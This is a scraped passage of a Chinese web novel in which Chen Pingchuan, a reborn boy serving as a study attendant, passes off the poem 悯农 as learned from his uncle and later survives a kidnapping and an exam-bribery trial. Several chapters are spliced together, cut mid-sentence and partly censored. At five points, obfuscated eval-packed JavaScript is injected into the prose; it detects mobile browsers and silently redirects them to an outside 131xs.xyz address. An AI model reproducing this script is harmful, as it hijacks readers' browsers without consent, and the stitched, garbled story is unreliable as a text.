嘴唇翕动着一遍又一遍地在心中反复咀嚼着那几句朴素至极却又仿佛力有千钧的诗句。 “这……这诗……” 越是品味越觉得此诗言辞虽是浅白易懂几乎人人能解 “当真是……当真是发人深省!寓意至深啊!” 方先生激动得声音都有些变调了平日里端着的架子此刻也顾不得了。 “老夫……老夫竟从未听过如此……如此直抒胸臆鞭辟入里的佳作!” 他虽只是个屡试不第的秀才但也曾年轻时游学四方亲眼见过田间农人顶着烈日、弯腰弓背耕作的艰辛。 然而能将农事之苦、盘餐之贵写得这般浅显直白却又这般深刻动人的诗句实乃他平生罕见! 不这等境界简直是闻所未闻! 方先生只觉得胸中波涛翻涌一股难以言喻的激荡情绪久久无法平息。 他猛地一把抓住任管家的手臂眼神灼灼急切问道:“任管家你…你从何处听得此诗?!” 任管家被方先生这般激动的模样吓了一跳连忙据实回答:“是……是府上新来的那个小书童陈平川。” “方才在饭堂他见小姐糟蹋饭食便……便念了出来。” “陈平川?” 方先生眉头瞬间紧紧锁了起来如同打了好几个结。 “那个新来的书童?” 他脑海中浮现出那个面黄肌瘦却眼神清 亮的农家小子。 “一个……小小的八龄稚童,竟能吟出此等佳句? 一个尚未开蒙的孩童,纵然比寻常孩子多了几分小聪明,又如何能作出此等蕴含着人生疾苦、饱含着岁月沧桑之感的诗句? 这绝无可能! 他几乎是下意识地就否定了这个念头。 定然是这孩子从何处听来的残篇断句,今日恰巧在此情此景之下,福至心灵般,胡乱拼凑吟诵了出来! 对,一定是这样! 方先生深吸一口气,眼神中闪烁着复杂难明的光芒。 他决定了。 明日上课,定要好好盘问那陈平川一番! 务必弄清楚,这等堪称绝妙的诗句,他究竟是从何处听来!若是能找到原作者,那也是文坛一桩幸事! …… 翌日,清晨。 熹微的晨光透过窗棂,在书房内投下斑驳的光影。 陈平川早早地便来到了书房。 他先是将书案仔仔细细擦拭了一遍,不留半点尘埃。 随后,又将笔墨纸砚一一摆放整齐,研好了墨,滴了水,一切都打理得井井有条。 他一边有条不紊地忙碌着,一边在心中默默琢磨着。 该如何才能让张金宝那个榆木脑袋,稍稍开那么一点点窍呢? 这可真是个大难题。 正思忖间,一阵熟悉的脚步声由远及近。 方先生身着一袭白长衫,面色沉肃地走了进来。 只是今日,他并未如往常般直接走向书案,而是在陈平川面前停下了脚步。 那双略显浑浊的眼睛里,紧紧盯着陈平川。 “陈平川,你且过来。方先生的声音不高,却带着一股威严。 陈平川心中一凛,不知道什么情况。 他面上却丝毫不敢显露,依旧是那副乖巧听话的模样,恭恭敬敬地走到了方先生面前。 “先生唤小的何事? 方先生上上下下地打量着陈平川,那目光仿佛要将他看透一般。 他沉默了片刻,这才缓缓开口:“昨日你在饭堂所念的那首诗,是从何处抄来的?什么名目? 陈平川眨了眨黑白分明的大眼睛,故作茫然地偏了偏小脑袋。 “先生说的是哪首诗呀? 方先生见他装傻,眉头顿时一皱,语气也严厉了几分:“就是那‘锄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987004|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾日当午,汗滴禾下土’的诗句! “休要在我面前装糊涂! ” 陈平川这才像是恍然大悟一般,“哦”了一声,随即伸出小手,有些不好意思地挠了挠后脑勺。 他声音带着几分独属于孩童的稚气,解释道:“先生,您说那首诗叫《悯农》,是我从我惨死的大伯那儿听来的。” “我大伯是秀才,平日里就爱念叨些我们听不懂的句子。” “我听着这几句顺口,又好像有点意思,就记住了几句。” 他微微低下头,声音小心翼翼:“昨日……昨日瞧见小姐她把饭菜扔了,平川就想着,这些都是种田的伯伯叔叔们好辛辛苦苦才弄出来的。” “一时……一时就随口念出来了。” “先生,平川是不是说错话了?” 方先生紧紧盯着陈平川的眼睛,试图从那双清澈的眸子里瞧出些许撒谎的痕迹。 然而,陈平川一派镇定自若,眼神坦荡,回以纯真无邪的目光。 方先生捻着颌下稀疏的胡须,追问道:“那你大伯他是怎么去世的?” “唉!” 陈平川面露悲痛,眼圈都红了:“大伯他……不慎被家中黄牛踢到下体,大夫说都碎了,痛苦了好几天才过世……” 方先生听完,顿时感觉自己下面好像也跟着疼起来,他擦了擦额头的冷汗,叹息道:“这……真是天妒英才啊!” 他见这书童神色坦然,不似作伪,心中的疑虑,已经消退。 只是,可惜了他那个惨死的大伯,若是还活着,一定可以做出更多传世佳作! “罢了。”方先生最终还是摆了摆手,不再深究。 “既是听来的,便不可妄称己作,以免贻笑大方。” “日后也莫要胡言乱语,听见没有?”他板着脸告诫了一句。 “时辰不早了,开始今日的课业罢。”方先生说罢,便转身走向书案。 陈平川则在心中悄悄松了一口气,暗自庆幸自己反应够快。 用秀才大伯当挡箭牌,总算是暂时糊弄过去了。 但这也给他提了个醒,以后再想“借鉴”前人智慧的时候,可得更加小心谨慎,不能再这么明目张胆了,以免引来不必要的麻烦。 另一边,陈家,陈仲文猛地连打好几个喷嚏,他满头疑惑:“是谁在背后念叨我?” 第26章 **为奴还能赚钱,不枉我平日那般疼他! 陈仲和的脸瞬间涨得通红。 额头上细密的汗珠一颗颗渗了出来沿着脸颊滑落。 他嘴唇哆嗦着每一个字都像是从牙缝里挤出来的:“爹我……我实在是一个铜板也拿不出来了。” 话音未落大伯母那尖细刻薄的声音立刻响了起来。 “没钱?” “二弟你莫不是在哄骗我们不成?” 她眼睛一斜目光如刀上下刮视着陈仲和语气里满是怀疑:“你不是天天往那张府送石头卖钱吗?” “那些钱呢?” “莫不是……被你那个婆娘偷偷藏起来了?” 字字句句都在暗指他有钱不肯出。 陈仲和被这话噎得心口发堵喉咙发干只得长长叹了口气。 声音艰涩带着无尽的苦楚:“大嫂你有所不知啊。” “那石头能换卖钱的事也不知道是哪个多嘴的给传了出去!” “如今不止我一个。村里好几家都挑着石头往张府送。” “人一多你争我抢的那价钱……自然就被压下来了。” 他越说声音越低带着一股无法言喻的颓丧。 “原先一筐好歹还能卖个百十来文如今……如今也就值个几十文堪堪糊口罢了。” 他声音艰涩地补充:“而且听张府的任管家说他们府里那条路也快修完了往后……怕是这钱也赚不长久了。” 陈仲武和王氏听到“多嘴之人”四个字眼神不由自主地一阵闪躲。 两人的表情都变得有些许不自然起来。 王氏更是暗自心虚。 她记得前些日子和村里几个婆娘闲话家常时确实无意间提到了陈仲和找到了个不错的营生每日里都有铜钱入口袋。 没想到竟被有心人听了去这才引来了这些竞争者断了陈仲和的财路。 陈仲和哪里知道这些弯弯绕绕他只是继续诉说着自己的苦楚:“再说这卖石头的钱大部分都得上交给家里我媳妇……她前阵子又病了一场抓药看诊家里的钱几乎都掏空了。” 大伯母却压根不信他的这番说辞。 她只当陈仲和是故意哭穷不想掏钱。 “谁知道你说的是真是假?” 她撇了撇嘴 一旁的陈仲文也捻着自己下颌那几根稀疏的短须摇头晃脑摆出一副痛心疾 首的模样:“唉,钱财乃身外之物,哪有父母康健重要?” “二弟此举……着实,有失孝道啊。” 这话一出,陈老太爷那双深陷的眼窝里,陡然射出两道利箭似的目光。 那目光,死死盯在陈仲和的身上,仿佛要将他看穿:“老二,你给我说句实话,你当真一个子儿都没有了?” 整个堂屋的气氛,瞬间凝固。 满屋子的人,都盯着角落里的陈仲和。 他被众人这般目光逼视,尤其是父母那带着审视和不满的眼神,让他更是如坐针毡,浑身不自在。 他从小就憨厚老实,嘴笨舌拙,更不善撒谎。 此刻他心慌意乱,额头汗水涔涔,脸憋得通红,一只手下意识地、紧紧地捂住了自己破旧短褂的衣兜。 那里,仿佛藏着什么见不得人的东西。 知子莫若母。 陈老太太见陈仲和这般模样,心中便已然有了计较。 她那双不大的三角眼微微一眯,闪过一丝精光。 也不多言,身形猛地一个前倾,如同捕食的饿狼一般,一个箭步便蹿了上去! 她的动作,快得让人几乎来不及反应。 根本不像一个六七十岁的老人! “娘,您这是……”陈仲和顿时慌了神,下意识地抬起手臂,却又不敢真的阻挡。 陈老太太却是不管不顾,一把便将那干枯得如同鸡爪的手,狠狠伸进了陈仲和那紧紧捂着的衣兜里! “哗啦——” 一声清脆又沉闷的轻响。 几块银光闪闪的碎银,从陈仲和的衣兜里被悉数掏了出来,骨碌碌掉在了冰冷的泥土地上。 众人定睛一看,皆是倒吸一口凉气—— 那掉落在地上的,在昏暗的光线下依旧闪着诱人光泽的,分明是足足二两的纹银! 整个堂屋,瞬间寂静无声。 落针可闻。 陈老太爷的脸色,瞬间阴沉得可怕! “老二!” 他一声厉喝,声音里裹挟着怒雷,“你竟敢对我撒谎?!” “说!这银子,究竟是从何而来!” 陈仲和整个身子都僵住了,像是被冻硬的木头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987018|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喉结剧烈地上下滚动,额头上渗出的汗珠,一颗颗沿着脸颊的纹路滑落,滴进尘埃。 大伯母抢上前去,将那几块碎银悉数抓在了手里。 她放在手心掂了掂,脸上瞬间绽放出贪婪的精光,声音尖锐得刺耳:“嚯!这 少说也得有二两吧!” “老二!你好大的胆子!竟敢背着家里藏下这么大一笔私房钱!” “啪!” 一声清脆响亮的耳光,狠狠甩在陈仲和的脸上。 陈老太太那张布满褶皱的老脸因愤怒而扭曲,眼神凶狠得像要**:“没心肝的白眼狼!老娘打死你这个不孝子!” 她喘着粗气,手指几乎戳到陈仲和的鼻子上:“快说!这钱到底是哪儿来的!不说实话,我今天就扒了你的皮!” 陈仲和捂着火辣辣、迅速肿胀起来的半边脸颊。 他眼神惶恐,断断续续地解释:“是……是我儿平川给我的,让我带回来……给他娘调养身子,补贴家用的……” 此言一出,犹如一滴冷水落入滚烫的油锅,整个堂屋瞬间炸开了! “什么?!”大伯母第一个叫出声,满脸的不可思议,“平川那小子?” 王氏也是瞪圆了眼睛,死死盯着大伯母手中那几块白花花的银子,眼神里充满了震惊与嫉妒。 她撇了撇嘴,阴阳怪气地说道:“哟,一个才八岁的娃娃,**为奴这才几天功夫,就能赚这么多钱?” “该不会是……手脚不干净,从东家那里偷来的吧?” 这话恶毒的很,陈仲和本就涨得通红的脸,此刻更是红得像要滴出血来。 他猛地抬起头,急切地连连摆手:“没有!绝对没有这回事!” “平川那孩子,在张府是伺候小少爷读书写字!张老爷见他当差用心,尽心尽力,这才……这才赏了他这些银子!” 陈老太爷一直沉着脸,此刻捋着颌下稀疏的胡须,浑浊的眼珠微微闪烁了几下。 他心中飞快盘算:这小子,倒真有几分能耐。 念及此,他脸上的阴沉之色,渐渐消散,;露出一丝欣慰的笑容。 “好!好啊!平川这孩子,果然是个有出息的!” “不枉费我平日里,那般疼他爱他!” 第47章 地主儿子VS财主少爷,谁输谁是窝囊废? 张盛财听得是连连点头,激动得脸上的肥肉都微微颤动,一双小眼睛里更是闪烁着兴奋的精光。 “我明白了!平川你这招,高!实在是高!老子这就去安排!” 就在这时。 门外传来一个娇蛮的清脆嗓音。 “臭书童!我爹爹说,你们在印好多好多孙悟空的小画书,是不是真的?” 话音未落。 张静姝便像一阵小旋风似的,猛地冲了进来。 她一眼就看到了书案上摊开的那些色彩鲜艳、引人入胜的画稿。 “哇!这个就是《西游记》的小画书吗?画得好漂亮呀!” 她几步跑到书案前,小脑袋瓜好奇地凑过去,小手已经迫不及待地抓起一本画稿就津津有味地看了起来。 “嘻嘻,这个孙悟空,画得可真好看!比你讲的故事里还要威风!”张静姝指着画稿上那威武不凡的孙悟空,一双黑葡萄般的大眼睛亮晶晶的,闪烁着兴奋的光芒。 她抬起头,目光灼灼地看向一旁的张盛财,小嘴微微一撅,强烈要求道:“爹爹!这《西游记》的小画书做出来之后,第一本必须先给我看!” 张盛财见宝贝女儿如此喜欢,哪里会有不答应的道理,当即大手一挥,满口答应。 “好好好!别说第一本了,以后全套画册都给我的乖女儿留着!” “世上只有爹爹好!” “乖女儿也好,哈哈哈!” 陈平川看着这对活宝父女,只能无奈地摇了摇头。 从此以后。 这间“《西游记》漫画工作室”的门口,便多了一位雷打不动的常客。 张静姝几乎每日都会准时跑过来“视察”。 她会自己搬个小锦墩,坐在门口。 一边小口小口地啃着她最爱的桂花糕,一边眼巴巴地伸长了脖子,等着看画师们画出最新的故事情节。 她还时不时地会对着那些画稿指指点点,发表自己的“高见”。 “哎呀,这个妖怪画得也太丑了吧?就不能画得稍微漂亮一点点吗?人家看了会做噩梦的!” “还有这个仙女姐姐的衣服颜色,太素净了不好看!能不能换个鲜亮点儿的颜色嘛!比如桃红色的,或者水蓝色的!” 几个画师被她折腾得是头疼不已,暗地里都觉得,这位张府的千金大小姐,比陈平川还要难应付! …… 盼星星盼月亮,张金宝总算盼来了十日一次的旬休。 他像一只刚 挣脱牢笼的小鸟儿,一蹦三尺高,扯着嗓子嚷嚷着要去外面撒欢儿。 《西游记》画册工作室的初期筹备总算告一段落,陈平川也觉得连日来绷紧的脑子有些发胀,正想寻个机会出去透透气。 于是乎,他被张金宝拉着,两人兴冲冲地一道往村外的野地里去了。 春日的阳光暖洋洋地洒在身上,格外和煦。 溪边的杨柳抽出嫩绿的新芽,随风依依摇摆。 两人刚晃晃悠悠地走到溪树村附近那条清澈的小溪边,正想寻摸块干净的大石头歇歇脚,冷不丁就跟一伙半大不小的孩子撞了个正着。 为首的那个,正是隔壁溪树村大地主王长发的独苗儿子,九岁的王小虎。 这王小虎在附近几个村子里,可是出了名的横行霸道。 他身后总是跟着几个佃户家的孩子,充当他的跟班走狗,为虎作伥。 说来也巧,王小虎与张金宝素来不睦。 两人从小就不知道打了多少回嘴仗,急眼了偶尔还会动上手。 当真是仇人见面,分外眼红。 王小虎双手叉腰,下巴抬得比天还高,拿那双小眼睛斜睨着张金宝,阴阳怪气地开了口:“哟,我当是谁呢!这不是张家的那个窝囊废吗?” “怎么着?不在家里好好读书,跑到这儿来偷懒耍滑了?” 他身后的那几个跟屁虫立刻狗仗人势地跟着起哄。 “王小虎,我读不读书跟你有什么关系?”张金宝哼了一声,拉着陈平川要走。 结果却被王小虎带人围住,他讥讽道:“张金宝你跑什么?是不是害怕了?真是个窝囊废!哈哈哈!” 张金宝哪里受得了这种赤裸裸的挑衅? 他的脸瞬间涨得通红,脖子上的青筋都一根根地鼓了起来。 他伸出手指着王小虎,怒喝道:“你说谁是窝囊废?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987039|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “王小虎,我爹说了,你跟你爹一样,就是个井底之蛙,屁点儿见识都没有!比窝囊废还窝囊废!” 王小虎听了这话,非但不恼,反而贼眼珠子一转,脸上露出了不怀好意的阴险笑容。 他指了指面前的溪流,嘴角勾起一抹坏笑:“张金宝,谁是窝囊废,咱们比试比试,不就知道了?你敢不敢?” “比就比!老子怕你不成!”张金宝几乎是想也不想,便一口应承了下来:“说吧,比什么?” 王小虎见他如此轻易就上了钩,脸上的得意之色更浓了:“咱们就比抓鱼!一个时辰之内,谁抓的鱼多,就算谁 赢!” 他故意顿了顿,加重了语气:“输的人喊自己窝囊废,还得恭恭敬敬地管赢家叫上三声‘爷爷’!怎么样,你敢不敢应战?” “有啥不敢!”张金宝梗着脖子,再次一口应下。 他也是个抓鱼的好手,难道还会怕了这个嚣张的王小虎不成? 王小虎嘿嘿一笑,立刻冲着身后的三四个跟班发号施令:“你们,都给老子下水!把那些鱼都抓上来,越多越好!” 随着他一声令下,那几个孩子便“扑通!扑通!”接二连三地跳进了清澈的溪水里。 一时间,原本平静无波的溪水被他们搅得浑浊不堪。 王小虎则抱着胳膊,得意洋洋地看着张金宝。 张金宝气得脸都快绿了。 他指着王小虎,大声嚷嚷道:“王小虎!你耍赖!你让这么多人一起帮忙,这不公平!” 王小虎撇了撇嘴,露出一副无赖相:“比试的规矩里,可没说不许找帮手啊!” “你要是不服气,你也可以找人帮忙嘛!” 他轻蔑地用下巴指了指一旁始终没怎么作声的陈平川,“喏,你不是还有个小书童嘛!” “不过嘛,就算加上他,也就区区两个人。我们这边,可是四个人呢!” 敌众我寡,这形势明摆着对张金宝不利。 张金宝气得直跺脚,却又无可奈何,只能眼睁睁地看着王小虎那边的人在水里扑腾翻搅。 不时地,那边还会发出一两声抓到小鱼的欢呼,更是让他心急如焚。 第57章 突遇**!凶犯竟是他! 马车上摇摇晃晃方先生清了清嗓子开始给张金宝和陈平川科普县试流程。 “县试考期一日主要考校帖经、墨义以《四书》为主。” 他顿了顿神色严肃起来:“考场纪律森严切不可交头接耳更不可夹带舞弊 张金宝听得冷汗涔涔小脸更白了。 张盛财一面拍着儿子的肩膀粗声粗气地安慰:“金宝啊别怕考不好没关系爹不怪你。” 转过头他又压低了声音对着张金宝的耳朵警告:“臭小子你要是敢给老子交白卷回来屁股开花!” 这变脸速度看得陈平川差点笑出声。 到了考场外已是人头攒动黑压压的一片。 各路学子在家人的簇拥下怀揣着紧张与期盼等待着改变命运的时刻。 张金宝手心全是汗腿肚子都在打颤。 陈平川拉了拉他的衣袖凑到他耳边低语:“少爷别怕就当是平日里先生考校功课把你会的都写上去就行。记住我教你的那些窍门能写多少写多少。” 张金宝感激地看了陈平川一眼重重地点了点头一副视死如归的模样随着人流走进了考场。 等待的时间总是漫长的。 张静姝在马车里坐立不安一会儿掀开车帘看看一会儿又嘟着嘴抱怨。 “爹爹好无聊啊!我要去买糖人!”她晃着张盛财的胳膊。 张盛财正伸长了脖子往考场里瞅闻言不耐烦地挥挥手:“去吧去吧让进财陪你去千万别跑远了!” 一个高瘦的名叫进财的家丁应声而出。 张静姝却眼珠一转一把拉住了正要下车透气的陈平川。 “臭书童你也来陪我!”她扬着小下巴不容拒绝。 陈平川看向张盛财后者连连摆手无奈他只得跟上。 张静姝像只刚出笼的小鸟在街上东看看西瞅瞅对什么都好奇。 “臭书童那个是什么?” “那是捏面人的用米粉捏出各种人物花鸟。” “那这个呢?” “这是卖糖画的用融化的糖稀作画。” 陈平川几乎是有问必答而且回答得风趣幽默时不时还夹杂些新奇的说法逗得张静姝咯咯直笑。 不过她很快又板起小脸故意摆出一副“也没什么了不起”的傲娇模样。 天公不作美刚 才还是晴空**,转眼间便乌云密布,豆大的雨点噼里啪啦地砸了下来。 三人慌忙躲到一处屋檐下。 进财见雨势不小,便道:“小姐,你们在此稍候,我去买几把伞来。说完便一头扎进了雨幕。 屋檐下只剩下陈平川和张静姝两人。 雨声淅淅沥沥,街上的行人也少了许多。 突然,从小巷中猛地窜出两个蒙面人,目露凶光,直扑二人而来! “啊!张静姝吓得尖叫。 陈平川反应极快,一把将张静姝推向身后,自己则迎了上去,试图阻拦。 他毕竟只是个八、九岁的孩子,哪里是两个成年壮汉的对手。 其中一个蒙面人嫌他碍事,一记手刀狠狠劈在他的后颈。 剧痛袭来,陈平川眼前一黑,身子软软地倒了下去。 耳边,是张静姝惊恐的哭喊声,还有一个男人狞笑…… …… 陈平川悠悠转醒。 头痛欲裂,像是前世宿醉后的状态。 他动了动,发现全身被粗麻绳捆得结结实实,手腕勒得生疼。 四周一片漆黑,伸手不见五指。 空气潮湿,带着一股浓重的鱼腥味,还有隐约的水浪拍打声。 船? 他努力辨别着,船身在轻微摇晃,水声规律。 自己这是在一艘船上! 而且,听这水声,恐怕是在某个湖泊或者大河中央。 “呜呜……爹,娘,你们在哪里?我害怕…… 旁边,张静姝带着哭腔的声音细细碎碎地传来。 陈平川心中一沉,张静姝也被绑了! “小姐别哭!我在这里! 他扭动身体,麻绳勒进肉里,疼得他龇牙咧嘴。但他顾不上这些,耳朵紧紧贴着冰冷的船板,仔细倾听着外面的动静。 “一千两?!钱三德,你说张盛财那老小子真会掏那么多银子?一个粗犷的男声传来,带着几分醉意。 张昭认出来,他昏迷之前,还听到这个人的笑声。 “堂兄放心,张盛财就这么一个宝贝女儿,金贵着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987049|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!只要拿到钱,咱们就淹死这两个小崽子,谁也不知道! 是钱三德的声音!怨毒而得意。 “到时候,咱们兄弟远走高飞,逍遥快活! “哈哈,好!来,喝酒! 外面传来酒杯碰撞和划拳的喧闹声。 淹死我 ……? 张静姝听得分明,吓得倒抽一口凉气,哭声骤然拔高:“呜哇——爹爹!娘亲!救命啊!” “小姐别哭了!”陈平川心中焦急万分,这哭声要是把那两个亡命徒引进来,后果不堪设想。 他猛地一扭,额头撞上什么硬物,也顾不得疼,用尽力气凑近张静姝,努力安抚她的情绪。 结果,张静姝却哭得更凶,不愿停下。 陈平川发了狠,声音陡然冷厉:“张静姝!你给我闭嘴!你要是再哭,把他们引进来,我们两个都得死!到时候我可不管你了!” 张静姝从未见过陈平川如此严厉地对待自己,顿时被吓得一窒,哭声戛然而止,只剩下细微的抽噎,含泪的大眼睛在黑暗中惊恐地望着陈平川的方向。 恐惧压倒了委屈,她竟真的不敢再大声哭闹,生怕陈平川将她丢下不管。 陈平川松了口气,随即开始冷静地观察四周。 虽然漆黑,但借着船板缝隙透进来的微弱月光,依稀能辨认出这是一个狭小的船舱。 他用身体在地上蹭着,摸索着。 突然,他的手背触碰到了一个粗糙的凸起。 他心中一动,用手指细细感觉。 是一块嵌在舱壁木板上的铁片,边缘似乎有些锋利。 有救了! 他立刻调整姿势,将捆在背后的双手手腕往那铁片上凑。 这是一个极其艰难的动作,他看不见背后,只能凭感觉。 “嘶……” 铁片粗糙的边缘划过他的手腕,一阵火辣辣的刺痛传来。 他咬紧牙关,一下,两下,用力地来回磨着粗硬的麻绳。 张静姝在一旁屏住呼吸,大气不敢出,黑暗中只能听到陈平川压抑的喘息和绳索摩擦铁片的“沙沙”声。 她看不清他在做什么,但也猜到,陈平川似乎在想办法脱身。 第88章 证据确凿,革去功名,读书人的**! 庐州府衙门前黑压压的人群如潮水般涌来。 “威——武——” 堂威自两排皂衣衙役的胸膛中滚滚而出声浪撞击着梁柱回荡不休。 钦差李大人端坐于高堂之上一身**服面容古井无波唯有一双眼睛锐利得仿佛能洞穿人心。 而在他旁边秦王表情威严地端坐冷冷第看着堂下跪着的几个人。 邢大人、吴子虚及几名涉案小吏如一排被霜打的茄子瘫跪在冰冷的地面上。 惊堂木“啪”地一声脆响 李钦差缓缓拿起一份卷宗那动作不急不缓。 目光如刀缓缓扫过堂下众人最终定格在邢大人身上。 “邢东海身为乡试副主考官食朝廷俸禄掌抡才大典却收**赂颠倒黑白你可知罪?” 声音清晰如寒冰刺骨。 邢大人本就惨白如金纸的脸此刻更是血色尽失。他浑身筛糠般抖动着连日来的噩梦在此刻化为狰狞的现实彻底击溃了他最后一道心理防线。 “下官……下官知罪!知罪啊!”他猛地一个头磕在地上额头与青石板相撞发出沉闷的“咚”声。 他声音嘶哑带着哭腔“钦差大人明鉴!下官是一时糊涂是受了这……这吴子虚的蒙骗与利诱啊!” 他猛地扭过头一根因恐惧而颤抖的手指直直指向身旁的吴子虚。 “是他!就是他!他用重金和昔日家父对我的恩情来逼迫下官!让下官务必将那陈平川的卷子黜落换上他门生的!所有事都是他一手策划的!下官……下官也是被逼无奈啊!” 狗咬狗的戏码让外面的百姓听得津津有味。 吴子虚的脸色煞白如纸但他几十年的养气功夫尚在。他强行挺直了跪着的上身昂起那颗平日里高傲的头颅试图维持最后的体面。 “钦差大人此乃血口喷人!”他声音虽有些发颤但依旧条理清晰“邢大人为求自保竟攀咬于我!我与他不过是文会上的泛泛之交何来威逼利诱之说?” “大人此案疑点重重!许是有人因乡试落榜而心生怨怼故而编造谎言挾私报复!请大人明察万莫被一黄口小儿的片面之词所蒙蔽!” 虽然他没明说是陈平川举报自己但却暗戳戳地指向陈平川。 没错他试图将水搅浑将自己塑造成一个被构陷的受害者。 李钦差嘴角勾起冰冷的弧度仿佛 听到了天大的笑话。他冷哼一声,将另一份卷宗重重掷于堂前,纸张散落一地。 “死到临头,还敢在此巧言令色!来人,将人证物证呈上来!” 几封密信被当堂展示,信中字字句句,皆是吴子虚与邢大人商议如何操作的龌龊言语。 紧接着,城中钱庄的掌柜和几名传递消息的小吏,被衙役押了上来。 “吴先生……事到如今,您……您就认了吧!”钱庄掌柜双腿发软,哆哆嗦嗦地指认道,“您在我们钱庄兑换的那一箱金条,小的亲自送往了邢大人的府上啊!” “是啊!”一名小吏涕泪横流,哭丧着脸,“吴先生当初是如何与我们说的?说事成之后,少不了我们的好处!我们……我们也是一时鬼迷了心窍啊!” 同党的反水,证人的指认,白纸黑字的罪证,彻底击碎了吴子虚的侥幸。 他看着那些曾经对自己点头哈腰、阿谀奉承的人,此刻都成了将他推向深渊的催命恶鬼。 他浑身的力气仿佛被瞬间抽空,脸上倨傲之色褪尽,只剩下死灰般的绝望。 他输了,输得一败涂地,输得体无完肤。 “肃静!”李钦差再次拍下惊堂木,堂上顿时鸦雀无声。 他请示旁边的秦王,秦王缓缓点头。 李钦差站起身,目光如炬,声音如洪钟,响彻整个府衙内外,传到每一个人的耳中。 “本案事实清楚,证据确凿,现当堂宣判!” “副主考官邢文海,徇私枉法,玷污科举神圣,革职查办,流放三千里,即刻押解!” “吴子虚,心思歹毒,贿赂考官,败坏科场风气,实乃读书人之耻!着即革除其秀才功名,永不录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987080|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用!家产充公,以儆效尤!” “其余从犯,视其罪行,分别杖责二十、三十,罚俸一年!” “革除功名……永不录用……” 这八个字,如同一道惊雷,直直劈在吴子虚的头上。 功名,是读书人一生的追求,是身份的象征,是傲骨的源泉。 革除功名,永不录用,这比杀了他,更让他痛苦万分。 他几十年的寒窗苦读,他引以为傲的才名,他赖以为生的光环,在这一刻,尽数化为齑粉,化为泡影。 “不……” 一声嘶吼从吴子虚喉咙里挤出,他双眼圆瞪,布满血丝,随即整个人如同被抽去了骨头,软软地瘫倒在地,像一滩无人问津的烂泥。 判决传出,堂外围观的士子与百姓,先是死一般的寂静,随即爆发出雷鸣般的议论与欢呼。 “苍天有眼!这种败类,就该是这个下场!” “革得好!总算还了我们庐州文坛一个清净!” 百姓们无不拍手称快,学子们更是连声叫好。 人群的喧嚣中,陈平川默默地看着这一切。 从始至终,他的脸色都平静得像一个置身事外的看客。 他想要的,从来不是将谁踩在脚下,而仅仅是这科举之路,能给天下寒门一个公平竞争的机会。 他所捍卫的,是规则,是秩序,是这个王朝选贤任能的根本。 “带走!” 衙役上前,粗暴地将失魂落魄的吴子虚从地上拖拽起来。 被押下大堂的那一刻,吴子虚的目光穿过攒动的人头,落在陈平川身上。 麻木的表情忽然生动起来,浮现出怨毒与悔恨。 他恨陈平川毁了他的一切。 可他更恨自己,为何没有调查清楚? 这陈平川,竟然能惊动秦王来调查! 一步踏错,满盘皆输。 他张了张嘴,似乎想嘶吼些什么,最终却什么都没有说出来,被衙役无情地拖了出去,消失在刺目的阳光里。 第91章 进京赶考,运气太好,出城就** 时光荏苒,如白驹过隙。距离来年春闱,仅剩下最后三个月。 庐州城冬日的寒风,卷着萧瑟之意,刮过街头巷尾。 李家院内,一派热火朝天的忙碌,将那份寒气驱散得无影无踪。 “这件夹袄的棉花我又给你絮了一层,又厚又密,京城天寒地冻的,可比咱们这儿冷多了。” 